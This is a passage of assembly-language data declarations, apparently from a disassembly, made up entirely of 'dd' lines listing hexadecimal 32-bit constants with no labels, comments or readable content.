0E7BC83B5h, 8551E813h dd 3AC56727h, 48DBB542h, 0E4587B64h, 1C8F0B97h, 25565437h dd 0BF18FF4Eh, 0F2B36964h, 95283F68h, 0DEE5011Ch, 638FD37Fh dd 0D537DE0Eh, 0BDAC3B0Fh, 2DF88263h, 0C1135B05h, 0EAE0B046h dd 0C60ED264h, 0E97B0094h, 0BA8B6B75h, 0B3CEF80Dh, 0CAB6811Dh dd 69850E2Bh, 3294A893h, 3705785Eh, 1E6750E1h, 11EF56E0h dd 19FBC9Bh, 69C95454h, 84F42AE1h, 0EC73ABD8h, 9CF5E6CFh dd 0ED686F79h, 863D8E66h, 2D28FB92h, 0F4DCEE7Bh, 6A5EC0CCh dd 0A778CE0Bh, 5D5E05B5h, 6A85C5D0h, 8C4D2CA0h, 112B8CBh dd 48BF75F9h, 575B3021h, 522B1B64h, 9C77D9CEh, 605DD644h dd 9BF08E4Eh, 7F228359h, 4E20F60Bh, 0BD977E75h, 6DBBBA72h dd 0DD04E3A8h, 85121FEDh, 716A4C80h, 95FB40F9h, 0D5759080h dd 0F513D1CFh, 4BD959D3h, 27010A1h, 0F9DB5B1Dh, 0AD7D51C7h dd 167EACB2h, 62E5ADF6h, 56031CACh, 0A73B77A9h, 0C5C6EE9Ah dd 0E8FE3154h, 45D2F32h, 11DD3395h, 9E70AD59h, 0C7C08DA5h dd 1E4AC8ECh, 686C49C9h, 198FD5Ch, 0E5C266C6h, 174E16CAh dd 817A1DB9h, 0DDADE388h, 0B7479BE5h, 37B036E5h, 495C48F3h dd 80D1558h, 10B2E6C9h, 0A95FED7h, 51EDA0D7h, 6B01E868h dd 621F7338h, 26A7F3B0h, 772DDF81h, 3F6DA7BEh, 0A216BF1Fh dd 5CDC38DCh, 0B2E1D60Fh, 0C82C8429h, 1507C9B8h, 0B6A3E2B3h dd 0BCCE4211h, 119F6A0h, 223E7D03h, 67E37234h, 4BC6A7FDh dd 0A9D5665Bh, 0AB970AE0h, 520990D7h, 98B48960h, 0C5ED7147h dd 13CD9A97h, 64E28E9h, 1F0AEBB3h, 631639E4h, 0BD150426h dd 872430BBh, 8E08C370h, 0E3D30BAh, 0C1186F87h, 2D0F2768h dd 8D9996F5h, 0AEC04982h, 6D5D3ED5h, 1B91E376h, 0D01ECBF1h dd 23516D2Ch, 0DC0AF036h, 70A6171Eh, 0D71070E7h, 547DE6D2h dd 1175872Eh, 0D245C7E1h, 98825B73h, 9DDE2A5Bh, 0DB97099Dh dd 210B976Fh, 0C573308Eh, 3937BCB1h, 0C8D65F3Fh, 0C55D9C1Ch dd 2A57CE5Ah, 0F7B77AD9h, 9D5FA0D0h, 0AAFB5739h, 0CFC3357Dh dd 15205565h, 7F6DA794h, 0B8F97B7Ch, 0D7EDCCC6h, 0AE329F72h dd 5115B36Fh, 20386D06h, 375BB734h, 2A8D4D9Dh, 0B2DC3A1Ah dd 59F8876Dh, 0B8F81C18h, 0AC417B2Fh, 1EE2FFC3h, 0EC426446h dd 0CB0C56D3h, 3474C51Eh, 0EE657587h, 0C9C0204Ch, 4A015F3h dd 709A7F1h, 9CCF30C7h, 7FB189EEh, 8FB5281Ch, 1E314A9Eh dd 7C822A34h, 0A376C1E9h, 96082664h, 0B9242FFh, 0E3C162E4h dd 15A7B3ECh, 0D5CADBC7h, 7DC5900Fh, 6664952Dh, 12765755h dd 541C0ACAh, 0AE0CBCB3h, 90C0CC73h, 56028039h, 0A5764B48h dd 6DF2D81Fh, 401FE59Bh, 8B16F6B6h, 5712837h, 87CCBFE5h dd 0E1BBBE42h, 7700027Bh, 0EC509A0Ch, 0A58A6D77h, 0BC5611A4h dd 67B3FC9Ch, 0FE992E32h, 2004C616h, 0DA828721h, 5B4CFB7Dh dd 0A7C4B0BAh, 1C994F9Dh, 0B681473Eh, 27A32D1Bh, 9DAEF4C7h dd 782A440Ch, 9C292A47h, 3D30E192h, 939A3EE7h, 0CE7D6A83h dd 190E969Dh, 0EAFDD6FBh, 636B288h, 83096D62h, 7E6A0C4Ch dd 0E807A0Dh, 307F2453h, 0AAD44E30h, 57FA1678h, 0BF31C9BDh dd 0E0079BFFh, 79097050h, 0B89FDB93h, 0D13B5ABEh, 0A368C2F4h dd 0F36C7A7Ch, 5E3CB2A3h, 3324FA84h, 67958DDDh, 0B33504DEh dd 3C7F705Fh, 3EFF2347h, 5D7B525Ah, 0B7A97ACBh, 0ABCC494Bh dd 0F267A1D2h, 9072B8h, 4F50045Ah, 0D98B11Ah, 362C6D27h dd 0C7E70E3Ch, 0D02FDCF2h, 8BC735B9h, 0DEDB91C1h, 0A8C6F54Dh dd 1C68DA5h, 6EE8759Ch, 6BFA550Dh, 4CDD2D9Ch, 0C8EE3E64h dd 0C12D7188h, 0BB56F349h, 0F50F47CFh, 5FF46EBBh, 435AAB4h dd 0F986BB7Dh, 0DAC4CBAh, 7C24F711h, 8AFF64FBh, 23D3E7C3h dd 0F3CA57D6h, 0D46482Bh, 0CFC43318h, 26E951DDh, 0F3E9FD15h dd 0BF41A8E0h, 68CCE26Eh, 0D33DCDDEh, 0A80289Dh, 5F7B973Bh dd 0CEA219D3h, 6754A057h, 497A6639h, 0E1166D44h, 5BF2CB2Fh dd 3BC468F5h, 7904519Ah, 1E948C8Fh, 1F5DE452h, 0D01D0DACh dd 0AE561B53h, 603E9F26h, 0B437774Bh, 1D458EA2h, 2ACCC05Ah dd 0B2E5DBC6h, 2B0A950Fh, 5D3151A4h, 0BDBB9F6Bh, 72B76D73h dd 72FEBCAAh, 0AEB2771h, 1A5ED3h, 0C9B4FBDEh, 87E7861Eh dd 0F115E8B8h, 3BE3401Dh, 937B42CDh, 0CAFE7568h, 800CD307h dd 7161068Eh, 9A4352D4h, 8E3A414Ch, 30CD7CC0h, 0A58A1EC3h dd 1A417634h, 97CE50A8h, 0F334697Bh, 46CAC256h, 4FCF9465h dd 0CDC9B68Bh, 0ABD1C246h, 4C083D3h, 1302BC6Dh, 0C899B212h dd 0D926832Eh, 597A34B5h, 0C21E18Ch, 0F06FAFB4h, 0B994C985h dd 53031275h, 0F7D561C1h, 865EBACAh, 0B043CEA2h, 0CB4205FEh dd 929E3B7Ah, 40EE62B5h, 0A75DF0C0h, 57D1CF5Bh, 22559D52h dd 0EA28DDE6h, 561E510h, 9EF91CBEh, 1F650791h, 9D74E4CCh dd 0F7033D0h, 0EB9E443Eh, 4E069DA0h, 30E542E8h, 0EF8036CBh dd 0B31249D9h, 78884B39h, 0D3751F0Ch, 123BF9D6h, 0ABD3F277h dd 0A9C4660h, 6AACD4EFh, 8D795569h, 80EE8B87h, 1662213h dd 68BA9EEDh, 8E567DCFh, 0F1B8ABC3h, 0C0438521h, 1CC056DAh dd 8B65A3BFh, 5A3A5D7Ah, 7481284Bh, 29D68B96h, 0FE3B7886h dd 0A74D006Bh, 0A70C3F14h, 3423148Fh, 7926243Ch, 57900A9Dh dd 0F7192774h, 166050C6h, 66651E34h, 2BACCF59h, 86C98879h dd 4DDED632h, 0E86C7436h, 3FB17ADFh, 0F487BE51h, 6D780812h dd 4E19C35Bh, 3B70A779h, 0B31AD3EEh, 6F439DB5h, 0E79A02Dh dd 0BA02F110h, 0DCAA5C51h, 0A995AFC8h, 44F816D2h, 7A6F01E1h dd 0E34C2A9Fh, 97ECEE01h, 809802FAh, 3F937821h, 0BE32273h dd 1E74E031h, 97149503h, 241AFEA6h, 0B6EF59D4h, 0D7ADFDB2h dd 8713092Bh, 1019647Fh, 31A74960h, 0FA92AE7Dh, 0AA22E463h dd 91AA9661h, 0B2BB93Ch, 247AC2FBh, 13FC1F7Eh, 7B0AAF5Bh dd 0AD5B774Fh, 0D1F0582h, 0F9208F59h, 0BBA298F5h, 71E506A6h dd 5F1C6D60h, 362FDA21h, 8D17F8FAh, 10331213h, 0F390C110h dd 98DAE9D7h, 0A2BD4F78h, 10064292h, 73E13C44h, 5775FD37h dd 0E8CCD17h, 2DFDB8E6h, 0C962F65Dh, 2153CE3Eh, 53B9DB20h dd 988AE132h, 0F88E7169h, 0FB7AEACEh, 3093239h, 0F048AF99h dd 629EB91Bh, 52C158B1h, 8563A56Eh, 0D8DE2781h, 782C7CD0h dd 0C2644C5h, 0D1B13C18h, 66E31004h, 0E67B509Bh, 7D96842Bh dd 0E4B09C2Bh, 231B2DA9h, 1899BCA7h, 0B353D4F4h, 6C85F17Ch dd 0F998FAD0h, 414C0B19h, 0B4F7A633h, 57EC392Eh, 7C5E0EBAh dd 10D19EF6h, 0BC41EE7h, 8DEF3C3h, 75836F25h, 821CAB05h dd 3F5BFD17h, 69E6ECE3h dd 4168A311h, 183B3CC5h, 2BD79D7h, 0ADB909B5h, 89C7124h dd 5F182F66h, 0D31282Ch, 1B05BCCEh, 3193367Fh, 0B2BF3787h dd 2797ADCFh, 6E3D353h, 0DF8DD7DCh, 0AAF2E0F4h, 0F3B3714Bh dd 9669D41Bh, 7E551AF9h, 740F7ED1h, 86ECDEDFh, 0BEE5BEE1h dd 0D0D5ED44h, 0CA724425h, 8627DE1h, 6E2CBCBEh, 9381C4F5h dd 0E5C68B1Fh, 82838510h, 4C89BAF0h, 9342986Fh, 0CB89E90Fh dd 0FA191672h, 1FDD62B9h, 0B64A8A8Eh, 913116F7h, 6BCBCCFCh dd 96777D62h, 0EE5D6618h, 0A9819A5Dh, 6FFA61B3h, 0DE592F96h dd 0D565EE6Ah, 1B0B51A6h, 0CB02109Eh, 9839FD43h, 236FFD17h dd 0FFB9693Dh, 56C7E120h, 0A2E71BD0h, 70E94B94h, 0E5388265h dd 3BEE4213h, 0B9C2EDB4h, 9E0E9243h, 0ECE78F9Ah, 5BDFE0C9h dd 8C959E11h, 7A635A4Eh, 0B0B3EE3Dh, 8AD7954Dh, 0FC08E1E0h dd 0F7DB0EF1h, 6F7B33Eh, 747FB56Bh, 0A0596AE0h, 985F37B3h dd 456714A2h, 0E33BA3E9h, 0CC3B0477h, 0A2771DA5h, 16DD585Ah dd 6D11B50Bh, 1AA1BA0h, 0CB19BE18h, 6D0A32E1h, 0D04F5625h dd 9D708209h, 0EB2DF23Ah, 0C1E2705Bh, 0DA78F042h, 2429E0D5h dd 0C984AB67h, 1ADD287Eh, 0FFA3EF57h, 7B7BD74Ah, 0C23235BBh dd 0C65B0B9h, 7F04F979h, 0C14793DEh, 3842F067h, 0C05D4D37h dd 5DC1B379h, 16331388h, 673CFE25h, 8EF5FB78h, 0F7712963h dd 0ACADF660h, 3625F5D0h, 0DF59D385h, 19754744h, 31AB74C2h dd 0A511C9B8h, 6C66F0D2h, 213F6290h, 3F267D48h, 7AE2304h dd 8D829C0h, 4C0C35A1h, 0F47E6F6Fh, 0DEDE2F85h, 323C450Dh dd 95274507h, 0CBD85845h, 53A9DAA7h, 3EE4D8Ch, 25550141h dd 5BA1F6E1h, 58BFDC26h, 931E89FAh, 6863B3Bh, 6C446707h dd 1FB5A45Fh, 0EE1FAFD6h, 3E2510E3h, 422D0BCBh, 0F4E54Fh dd 9E2E6104h, 25DE445Ah, 0D66637B4h, 75898B17h, 79775183h dd 6899CB58h, 14CF10B4h, 6E7EDF39h, 41424CBFh, 6255DB3Ah dd 2B33A0E1h, 61B40376h, 6551B467h, 5BB62D90h, 527BD583h dd 1EA7328h, 0F873F445h, 2F67275Eh, 74796471h, 632E4775h dd 0A0A0392Dh, 0C86BCF9Ah, 2C049F51h, 0B86972F0h, 0CF89D54Ah dd 765A3339h, 4D2ED9E4h, 60C8B5FDh, 62DBB697h, 9502DBE5h dd 0A64CE040h, 4759DD0Ah, 87DDBBDBh, 13EADB0Ch, 990A0503h dd 5F9E02CDh, 25D30150h, 4DBEDA50h, 779EFDDBh, 28A39D4Ch dd 991CE85Bh, 2F6A83B0h, 1E2B0815h, 5154ED09h, 0FDF5D72Ah dd 0ACD25B35h, 1841F820h, 1F27AC05h, 8729AFECh, 0FD722F6Ch dd 0B3938A81h, 3F70714Ah, 0EE721855h, 6F62C797h, 973314E9h dd 0AF6B006Dh, 0F09C622Bh, 0F995CDDh, 88F510BBh, 4C2F8075h dd 51C2045Fh, 0E4D71B76h, 223D32E8h, 17ADB047h, 0ED0D6B0Eh dd 0FC4DEEE8h, 47FF6F0Eh, 138990F2h, 4F73B5D0h, 0A7E1364Fh dd 1CC633F2h, 0B9979CDAh, 34999FBCh, 0F98791D2h, 0E3D95BDBh dd 88C35401h, 0F784A46Fh, 5946078Fh, 1001AF43h, 1B97C949h dd 75559415h, 11A65692h, 8F21E6ECh, 871683F5h, 3268A3B9h dd 0BDA7B8E7h, 92B06B78h, 88677B5Eh, 85645FF6h, 47C94927h dd 0F0B05AAh, 0E5F92555h, 0EC6FCD7Dh, 0CAA19FE5h, 8E7FE8D3h dd 0EEE32E92h, 101B89F8h, 7E4357BFh, 0AF1FDB1Bh, 0FF1945Fh dd 74632EB5h, 0EEB70BFAh, 0C606B0F1h, 738F85F4h, 897E9A31h dd 52A9A95Dh, 97C8E16Bh, 5A8119A2h, 0B45B1E1Ch, 2C88743Fh dd 5DC2583Dh, 0D2C07318h, 7EB5100Fh, 89B4D2B1h, 62529B33h dd 0B0892C5Bh, 0AE49F3E9h, 0AEED520Dh, 0E816C1Fh, 0D99B1C6Ah dd 2A28A48Eh, 913E77F8h, 0CAED5120h, 0A4FFF4E5h, 0A2F43C7Fh dd 5CF16AADh, 73CDA330h, 82AD6890h, 65365B6Dh, 845A8494h dd 4407F64Dh, 0FD88C99Eh, 0DA067C6Ch, 18702727h, 0B098DCh dd 0C1B2B95Bh, 0C7EF1803h, 0B40BB7C6h, 7D54C91Bh, 5EB16234h dd 47A12018h, 0F7C9588Ah, 0ACF35688h, 9181E85Fh, 4C2F7E94h dd 59FEF741h, 62F3493Dh, 11F39C87h, 0EFC31828h, 0BB351AB7h dd 0A77E8016h, 0DB608B6Ah, 4A17CC95h, 5C16D13Eh, 644D427Eh dd 1CA4CE79h, 12965763h, 0B8C9E441h, 890EB2CFh, 24B427E3h dd 99CDDDFEh, 0E732662Bh, 0A0695FBFh, 6E93C67Bh, 0DB0476F2h dd 52B9F861h, 475C75FEh, 0C0F81296h, 9D9D0A0Ch, 0A99C97DFh dd 89BC703h, 0E0DA409Ch, 4A20E06Eh, 815E0275h, 2B5C9ECBh dd 1C89C334h, 0FEBFCDDEh, 0DD5125Eh, 826E0ED5h, 972ACF55h dd 1EF8686Dh, 133C55A6h, 0BBFE3ED1h, 7DC26724h, 0B43F5CC9h dd 9764E4E9h, 15BBA19Fh, 5257C231h, 0FEC7067Fh, 0CA7DF990h dd 5B1705B5h, 4F9CCD83h, 2A7252C2h, 55055BBDh, 0B8EE1790h dd 612AC1E0h, 439055C3h, 0E2F9B15h, 0DE3123D0h, 0FD2FF485h dd 670EFF97h, 0B9F70C7Ah, 2834BE92h, 77EB64C0h, 0E9E7F306h dd 0C94DDCB5h, 4DD71DE5h, 9F7C97F6h, 2758BAD7h, 0B972732Ch dd 0BD1FF4DEh, 712C9994h, 4E628B8Fh, 0D24521D2h, 0F6B32A3Fh dd 7415ECA7h, 15059E20h, 685A3C92h, 1B0744EAh, 7076C270h dd 0E8C161C7h, 0FFFC867Fh, 0AD37738Ah, 0FDB60A30h, 0F5327746h dd 1716DC71h, 0A88BFB18h, 72D2D45Ah, 1915E64Ch, 0DB4DEF70h dd 0CFFC8DA3h, 0DC5A8F6Ch, 67D55056h, 54EBE6F4h, 0E05B7C58h dd 393D757Ch, 9B905DC1h, 0F92E9F7Fh, 9E9CF789h, 0D3E0D3E0h dd 53CE99E5h, 8A5872Eh, 50F700C6h, 5523B590h, 3BEEB6CAh dd 0F4B5AB0Fh, 0D47F3835h, 837C1532h, 48D6ED00h, 93AB2F4Fh dd 0D8F902BDh, 37A631B9h, 0AB8B60BAh, 420D61CFh, 1CCFA1D7h dd 0D46B9F87h, 87BB49B2h, 0F89AF690h, 16408663h, 0D6615C81h dd 15A56B54h, 0EA974F62h, 94D00164h, 0D22FC216h, 828D12A4h dd 2882DEAEh, 8C8951ACh, 9C9277E8h, 0C73DFE66h, 7CB3229Ch dd 0A9882081h, 474BFBECh, 7DAFF0B4h, 70FAF41h, 1066C2BEh dd 9801DAADh, 0B9A0575Bh, 5C7FE8CFh, 998E39BDh, 30C50E27h dd 0E84806BFh, 0FCEC88D5h, 92685AD0h, 44A2027h, 4E534603h dd 0ACE025AEh, 0C7AACAEh, 0A56C706Ch, 350960BFh, 635A8912h dd 0B4BDA5E7h, 8C66C8F5h, 3D930B70h, 456F6A4Bh, 0B107E249h dd 48DC0683h, 14BEE8Fh, 3357A86Ah, 0B50D052Eh, 0B61C1CEBh dd 7D4056F9h, 94AA93B2h, 35A7FBAh, 0D9936FAEh, 3CD207A9h dd 7196D7A0h, 75578D35h, 0CBBEC3B3h, 74A56D10h, 0BD8ACAFEh dd 774C67FCh, 211820E4h, 1B4A8321h, 0DEEDE749h, 86A7F6F2h dd 77D9FB60h, 6851DDA9h, 3FB10472h, 7ECCED55h, 351ED1DDh dd 96C2933Bh, 0BFE4D354h, 67551369h, 0F5A01E5Ah, 0B835285Ah dd 2583BE3Ch, 0E0697B64h, 0B56AE7FFh, 6D268E1h, 5FA03CBDh dd 3DBB7971h, 0FC79F4B4h, 8F42BE64h, 0AE8C21CAh, 0EDBCB543h dd 7F0C205Bh, 0CEDD908Ch, 7E192A9Ah, 2E7BC5A6h, 2942F81Ch dd 0E7CB2AF0h, 386D637Ch, 5245AB19h, 3809104Ch, 74229A60h dd 716935ADh, 0A00424E2h, 0BAD8C27Bh, 0BB75F59Ch, 95E9C2FCh dd 341D9D7h, 0F771A9DEh, 660AD9BCh, 547A4842h, 0FD9D648Bh dd 0D854F2B9h, 0C7F57670h, 112BAFE0h, 9876967Fh, 45F87B5Ah dd 474AFC2Ch, 7AD94662h, 908AADC6h, 5F24D1Fh, 0AB2E5032h dd 73B2B4F8h, 53B5072Ch, 0E79B86BCh, 0C3CF0D27h, 8517AA08h dd 0D569A2EAh, 0A81B6398h, 0EE892267h, 0B79F7742h, 0C5A30E3h dd 0A71BCBAEh, 861DDB33h, 29FE8082h, 78AB2B60h, 0D58E6438h dd 0D049AF3Bh, 341C4527h, 66BADFCFh, 0BAD6AC64h, 5EB7480Bh dd 5A58F3F3h, 7AFE792Fh dd 2FB90EB4h, 6CC9F07h, 573B3EC6h, 36C92ECBh, 25A0D890h dd 0A3A1A3ACh, 0B2758532h, 9308B4CFh, 0A6967B14h, 0C4849FFBh dd 35A5B52Eh, 0FD7B56FDh, 0D15C9E90h, 0B3EFCD7h, 40B26BCAh dd 0F455F4CAh, 0B855ACA1h, 3ADA99D8h, 0E1DE3B11h, 0A533967Dh dd 0DA03FD45h, 0C4790AF7h, 7DF15129h, 38C77FD5h, 6E188F2Ah dd 1766D6Ah, 22149B36h, 450D93D9h, 1AFD8D83h, 231DC45Ch dd 0CC36FA79h, 0A2523FCDh, 5557FBF1h, 0DE42CE35h, 0EFB7D5F2h dd 0CE571A75h, 0C7E91F0Ch, 0D97B29FAh, 0A17BA0CBh, 0EFB913E3h dd 0E61B4A1h, 184A4C58h, 0AB18AB39h, 8B90318Ah, 3F291F94h dd 992629F5h, 0DA16E3C6h, 0A8C4CD7Ch, 0E7310E7Ah, 6BDBF3CFh dd 4D9FEBD8h, 2A21252Dh, 8963C37Ah, 751E5BA6h, 0B1DE7456h dd 632083EFh, 0B605BC06h, 0AAA8C591h, 0E40A8800h, 0F5E9F9F3h dd 13AA867Fh, 0F01CDE9Ch, 21F8ECE7h, 608710DBh, 0D9396A2Ch dd 73CC7F0Bh, 73D1C27h, 0B1154807h, 0C5C7681Dh, 557142A4h dd 0EAB9B9B7h, 241DAE37h, 5C129458h, 0C63C3373h, 4B21D743h dd 2B794CC2h, 0CB0CFFAh, 3A870807h, 0F4951BEAh, 62AA3127h dd 4EC40E41h, 7B6E5F01h, 0C971E734h, 325E67AFh, 7694C621h dd 0EDD5A2AEh, 7426355Fh, 5AB3D7F2h, 83E21756h, 0B2DDC3FDh dd 0FC2EB54Bh, 0D6905032h, 164BD21Fh, 0FF63F2E2h, 0F50EE108h dd 8BA8B149h, 0C0D40228h, 16903C0Dh, 75DEB41Eh, 9385E5DDh dd 5C401665h, 916704DBh, 1A2BAA48h, 2BBC189Bh, 0CB65928h dd 1C884597h, 0C5A44478h, 0B5FB78CEh, 1D66B671h, 6A990602h dd 18EF9027h, 19DBE65Bh, 3CD8FA7Ah, 995485Ch, 66A512F5h dd 99B88A6Eh, 12510E9Dh, 51316C43h, 60AB3104h, 830199B4h dd 154EDECCh, 64D2FF04h, 0A7180701h, 154705AFh, 0AB3D8571h dd 0F2244740h, 494A2908h, 78B97107h, 47FD7D90h, 0F1950076h dd 5F706EE1h, 14C89694h, 7DD30EAFh, 0D976D27Bh, 0EE440EAEh dd 301FC28h, 0A5475F54h, 1B849485h, 3F837CADh, 9C527CE5h dd 0BF58C3ABh, 0B52A3BA8h, 5D9F928Dh, 8EEBA93h, 0C5A09721h dd 6C4619ADh, 0DFEEED84h, 0B1108FACh, 0FCAA8CD0h, 98237A12h dd 68FED411h, 9C0323CBh, 0F997AC0Bh, 380EC245h, 0F7210055h dd 35324395h, 0CCE2AA41h, 94E06D8Eh, 271F29FCh, 0A57A51C2h dd 0AF5DD21Bh, 5AFAB1AEh, 0D43EB60Ah, 9E0FAA1Ah, 0E3342D62h dd 4A49EA0Ah, 37808CF9h, 333524B3h, 975FD149h, 82566FB0h dd 95B1508Ah, 6DF31CC6h, 87D24FA1h, 4DBF8574h, 5EE38F3Ah dd 0C27799CCh, 0B0074515h, 0BFCDD8D6h, 6ADA77CBh, 62D0741Eh dd 92C049A0h, 5294AB82h, 99B20AC2h, 45FDDAB1h, 1E850057h dd 0E80B42C9h, 0E0A09E02h, 22C33AA4h, 0DEE3763Ch, 0F4BA3B85h dd 0A31D480Fh, 68D98F76h, 8325F438h, 0DDBB79BDh, 30EFCEBAh dd 79DF5482h, 2955BCFCh, 366B77EEh, 3B07C762h, 0AB4D398Dh dd 0EE567220h, 0FC347DBBh, 0B30EF954h, 0F3FF7669h, 9A16F199h dd 0DD49B83h, 3276C240h, 50E047B9h, 2C82CE2Ah, 8AFB4E06h dd 119C8ED8h, 668D6BCFh, 43859B5Fh, 0BBED58A4h, 2D9DE4B6h dd 63BAF08Bh, 31F6CB81h, 0D450F05Eh, 0F13875E5h, 0B7E1F251h dd 766D8127h, 29569CA1h, 25A902E4h, 59CCA062h, 641FB009h dd 8B784835h, 559A4F22h, 50F01CB1h, 0BB912819h, 0A153CF52h dd 4FA81D64h, 74F32C30h, 29AF066h, 0DBF9CFDFh, 0E5C39CD6h dd 0E51F1796h, 612A5094h, 3FEBF9EEh, 0AD2F64E3h, 0DD187478h dd 0E96D1367h, 0AA1CF3CCh, 7A942FADh, 9E3A7B1h, 5862C513h dd 0EA79D61Fh, 0CB1542FBh, 3486E4A5h, 88C19A21h, 3F7031AAh dd 2BFA6441h, 3591D86Dh, 72EACE9Ah, 2C8BD984h, 3CF30290h dd 37F9C493h, 489289DBh, 3D0D265Fh, 388DA566h, 7721D50Eh dd 0E177C668h, 54B93AE6h, 200E96E7h, 3D8A61B2h, 535DF6C2h dd 9EBC7603h, 5C53FFDEh, 0AC90D77h, 0A68DA3F0h, 0BFFF5A1Ch dd 130E6D1Fh, 0EE17AFB0h, 34314876h, 0E8924A24h, 19902AE3h dd 0AE10DD9Fh, 0D1AC7270h, 0F93755F4h, 7AF4D768h, 7CA5D3Bh dd 2F20C0E1h, 0D4F254ADh, 8920F796h, 0D02635Dh, 2837F9A9h dd 2106F303h, 66AB0E12h, 0D28091A7h, 78E6FEDDh, 0DE75ABC7h dd 2123B8B2h, 0E5F0C6C4h, 4C08691Bh, 80818D10h, 2EEAE24Dh dd 35807559h, 4B2A908Ch, 58B4DC86h, 0E382AE34h, 0F266E756h dd 133D1218h, 17F45E9Ah, 0A9D2F615h, 20B2217Dh, 0CD0821CFh dd 7BC488D2h, 609C5546h, 26737A43h, 0C3F8EAEFh, 90B59397h dd 72F437FFh, 0E79CBC5Bh, 7FC40A73h, 69B75DC1h, 3F71F014h dd 24C93765h, 0B9BB4633h, 0EE6EE4DDh, 117A0923h, 0B05CB86h dd 0E8FCED73h, 0BFFB51EAh, 0D77414AAh, 0FAE56478h, 4B2EE635h dd 4897C94Bh, 43BB4EE4h, 0C17BB42Dh, 0D086B1E0h, 0DB88DD18h dd 798087C0h, 9A5E1D9Bh, 0FF2F6C66h, 0AD127456h, 0C7F1808Eh dd 22371643h, 0C1B089B2h, 0A8403377h, 4BBA4FD1h, 8DB2FF93h dd 0DE0C337Ah, 883C039Fh, 243F2125h, 57A56267h, 978D9FCEh dd 9B37CC05h, 7C330B8Dh, 61FE3Bh, 42DF1B80h, 0D888C56Bh dd 0F6D33F4h, 0F0EC9633h, 8B0D89Bh, 0E07A1E1Fh, 3A04FFCh dd 55DC525Dh, 44F90027h, 5E7F0B28h, 4BDE2458h, 0CA4E903Ah dd 0F7D8C0E4h, 57F6C453h, 0DA4FD54Ah, 0ED36A85Ch, 0E4BFEB32h dd 99B71798h, 482EF71Ah, 6542E917h, 28D978ABh, 224F5082h dd 3EAF8D70h, 0A8E5986Eh, 7E36B402h, 0B9E46B4Dh, 0C9462D50h dd 9620F9EEh, 5C9F8B5Ch, 8807B9EAh, 0C2DBF1EDh, 35658A7Fh dd 44D9E403h, 7C73B305h, 143A3AA2h, 1BD98160h, 0B87CBB0Dh dd 0E127A1F3h, 8988D7Dh, 6B4F7FB9h, 0FDFD01DEh, 0C8EB9026h dd 0BA13DD61h, 71E63AF7h, 0A0061975h, 77658020h, 68E31999h dd 84F24B21h, 0F9A9D5B7h, 38B2825Eh, 6116E796h, 9826AB92h dd 847E9E18h, 1373DA15h, 0E32E24C9h, 0E7B64D9Fh, 0D01C7886h dd 2C4A148h, 5617BC17h, 8CBFCD8Bh, 6A1A59CCh, 2513C36Dh dd 0E9EB4CCFh, 0A702D4EEh, 3DB4BAA9h, 14D669A6h, 0D82D111Eh dd 0A71A8D22h, 64D9E465h, 0B1FF668Dh, 0F7C711BBh, 369D5D7Fh dd 84DAA503h, 3EB49FD7h, 7DDE321Eh, 20606DEh, 1AE7AC8Fh dd 0EDE7D851h, 0AA02CAAFh, 0A1058433h, 9B6909B5h, 1AA34AA0h dd 0E2D18F33h, 4B179A86h, 1F38456Bh, 5938EECCh, 8B9A2565h dd 1960093h, 7B00C70Dh, 1E1293EDh, 5EEF41EEh, 0CBEBBA93h dd 4AAAE6C6h, 84F697FDh, 2A9C4B5Ch, 7C7FAF02h, 891C75A7h dd 0BDD4E743h, 394C9D1Ah, 0E699CB86h, 0F647F156h, 98416FAEh dd 0CDA3D28Ah, 1B04DD0Bh, 0C81B03ADh, 8D95B8E8h, 7F09B747h dd 0D597A075h, 16EC9EBDh, 0CFFCC19Bh, 6C0D0DA5h, 0E7610AECh dd 44E61164h, 27D51E8Bh, 53F07D6Ch, 6B3D4860h, 483CC71Eh dd 55293733h, 119135C3h, 0F683D8F9h, 0FD3D87F1h, 0CE38B302h dd 68D1B337h, 0C0D3F7BEh, 1F335340h, 0BC30111Fh, 0AF0C9159h dd 8686F324h, 85D5816Eh, 0D79C581Eh, 0E0B1A3D1h, 1AA47178h dd 0C8D9FFF4h, 0D86A48A9h, 597CB305h, 0BCCBCC2Ah, 0E2B7B8EEh dd 3519FC43h, 137D582Dh, 27024282h, 0CADFD1F1h, 0CDF164BDh dd 6C2DD1BEh, 38DF6030h, 2692C943h, 894D43C7h, 1CC6F0A1h dd 8DD97601h, 61DD9C7Eh, 0FB09188Dh, 4B9CCA4Ah, 0C85B1191h dd 0F6CC217Fh, 2ADAA066h, 1DFE7643h, 0BA7DABAh, 0F78E0DBh dd 0DF49D1BEh, 63D2F435h, 1E2D89EAh, 0E715F730h, 2C48925Ah dd 94C74F09h, 0E5609299h dd 0F67A866Bh, 3C9D3AE6h, 8FFDE4E7h, 5C8BD30Eh, 83DD81A6h dd 6D004FFDh, 0C918753Ch, 72CA2981h, 0DABB8B03h, 36BC494Ch dd 946A05E2h, 51165298h, 8318ECC1h, 29D8F46Ch, 0D20634A4h dd 0CBBF56BCh, 0A71158C4h, 0D2EE86A8h, 896B61B5h, 466638E4h dd 25936ABAh, 3770E83Ah, 7BE835F0h, 61AA0D2Eh, 82D2CF5Fh dd 110BBA3Fh, 26ECC927h, 0CD2F004h, 500F511Bh, 2EE1BE59h dd 0A29A7DCEh, 5D01ABCDh, 0B4AD8F56h, 8362DC9h, 3ACF11C8h dd 0A787EC61h, 0F8F31AABh, 22952658h, 0C71E764Ah, 98FFC8B9h dd 0A9210DC4h, 0D1C8DD2Bh, 5D794151h, 612CEE4Ah, 41448A7Eh dd 3556359Fh, 0E15126C3h, 0B9CA6456h, 7ACC3EBDh, 3CB46ABFh dd 990358D3h, 22CC0BAEh, 6E3DBFA8h, 9BD7EFA8h, 114ECFDAh dd 0C18517A3h, 3C872245h, 0AC6BDC49h, 0F5F4EC27h, 0A74C899Dh dd 6D685CA7h, 602A2893h, 6B5DEFCFh, 0AEA4EA11h, 0C18590A9h dd 0E55B6F59h, 4026A93Fh, 80CFC0D1h, 0F1EE155h, 0B4ADE3CDh dd 89285DCBh, 0E69AB460h, 0CF78C414h, 27EFC5B6h, 0DF0E7DF6h dd 9A3C1E8Bh, 8227DF16h, 8F58A8E2h, 0E3397BCCh, 0A829B2D1h dd 29C996DCh, 0D50DCBC3h, 0B4443A45h, 636B1F4Ah, 0DF0F404Ah dd 3A58A2CEh, 49D23196h, 46D02095h, 87610836h, 67C31352h dd 6A406E0Ch, 17BB9814h, 99EB5100h, 94F2AC7Fh, 51066273h dd 0A1F2F13Dh, 7B5B163Ah, 0A197FCEBh, 92A177Eh, 644DDA98h dd 